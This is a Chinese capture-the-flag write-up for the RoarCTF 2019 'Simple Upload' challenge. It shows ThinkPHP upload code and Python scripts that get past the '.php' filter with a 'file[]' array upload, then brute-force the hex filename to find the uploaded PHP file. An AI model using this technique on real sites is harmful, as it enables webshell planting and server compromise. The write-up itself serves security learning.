• web | [RoarCTF 2019]Simple Upload


    这是一个文件上传的题目。

    源代码如下:

     1 <?php 
     2 namespace HomeController; 
     3 
     4 use ThinkController; 
     5 
     6 class IndexController extends Controller 
     7 { 
     8     public function index() 
     9     { 
    10         show_source(__FILE__); 
    11     } 
    12     public function upload() 
    13     { 
    14         $uploadFile = $_FILES['file'] ; 
    15          
    16         if (strstr(strtolower($uploadFile['name']), ".php") ) { 
    17             return false; 
    18         } 
    19          
    20         $upload = new ThinkUpload();// 实例化上传类 
    21         $upload->maxSize  = 4096 ;// 设置附件上传大小 
    22         $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型 
    23         $upload->rootPath = './Public/Uploads/';// 设置附件上传目录 
    24         $upload->savePath = '';// 设置附件上传子目录 
    25         $info = $upload->upload() ; 
    26         if(!$info) {// 上传错误提示错误信息 
    27           $this->error($upload->getError()); 
    28           return; 
    29         }else{// 上传成功 获取上传文件信息 
    30           $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ; 
    31           echo json_encode(array("url"=>$url,"success"=>1)); 
    32         } 
    33     } 
    34 }

    应该是thinkphp的文件上传漏洞。

    https://www.cnblogs.com/20175211lyz/p/11729027.html

    上述文章提到了,thinkphp的文件上传类并没有控制后缀名的东西,因此可以忽略对后缀名的控制。

    所以真正要绕过的地方就是上面代码中对php后缀名的检测

    因为thinkphp支持多文件上传,只要用数组就可以绕过strstr的检测。

    但是却返回不了上传文件的名称。

    因此只要在周边上传两个文件就可以缩小时间范围来找这个文件。

    顺带一提thinkphp的文件上传路径:index.php/home/index/upload

    上传exp:

    import requests
    
    proxy = {
    'http':'127.0.0.1:8080',
    'https':'127.0.0.1:8080'
    }
    url = "http://06fba31b-2461-4ac4-96cf-b33603172606.node3.buuoj.cn/index.php/home/index/upload"
    
    file1 = {'file': open("1.txt", 'rb')}
    file2 = {'file[]': open("1.php", 'rb')}
    
    r = requests.post(url, files = file1, proxies = proxy)
    print(r.text)
    r = requests.post(url, files = file2, proxies = proxy)
    print(r.text)
    r = requests.post(url, files = file1, proxies = proxy)
    print(r.text)

    结果:

    {"url":"/Public/Uploads/2020-12-23/5fe2faa14f69c.txt","success":1}
    {"url":"/Public/Uploads/","success":1}
    {"url":"/Public/Uploads/2020-12-23/5fe2faa18ff07.txt","success":1}

    范围就是两个中间了

    完整exp如下:

     1 import requests
     2 import json
     3 import time
     4 
     5 proxy = {
     6 'http':'127.0.0.1:8080',
     7 'https':'127.0.0.1:8080'
     8 }
     9 url = "http://06fba31b-2461-4ac4-96cf-b33603172606.node3.buuoj.cn/index.php/home/index/upload"
    10 url2 = "http://06fba31b-2461-4ac4-96cf-b33603172606.node3.buuoj.cn/Public/Uploads/2020-12-23/{}.php"
    11 
    12 file1 = {'file': open("1.txt", 'rb')}
    13 file2 = {'file[]': open("1.php", 'rb')}
    14 
    15 # 上传
    16 r = requests.post(url, files = file1, proxies = proxy)
    17 print(r.text)
    18 t1 = int(json.loads(r.text)['url'][-17:-4], 16)
    19 r = requests.post(url, files = file2, proxies = proxy)
    20 print(r.text)
    21 r = requests.post(url, files = file1, proxies = proxy)
    22 print(r.text)
    23 t2 = int(json.loads(r.text)['url'][-17:-4], 16)
    24 print(t1)
    25 print(t2)
    26 
    27 # 爆破木马文件名
    28 for i in range(t1+1, t2):
    29     h = str(hex(i))[2:]
    30     u = url2.format(h)
    31     print(u)
    32     r = requests.get(u, proxies = proxy)
    33     if r.status_code == 200:
    34         print(u)
    35     elif r.status_code == 429:
    36         time.sleep(0.1)
    37 
    38         

    第二种方法是上传文件名为 1.<>php

    貌似是同样解析为1.php

    但是上传成功直接给了flag

    有点恐怖,应该是文件内容被改了。

  • 相关阅读:
    Sass
    小程序_统计字符
    小程序_乘法表
    abbreviation(缩写)
    Linux命令整理
    生出树状的文件夹结构
    Excel的使用技巧
    小程序_数字从小到大输出
    Delphi 之Inherited详解
    学习结构[记录]类型(4)
  • 原文地址:https://www.cnblogs.com/Mz1-rc/p/14179356.html
Copyright © 2020-2023  润新知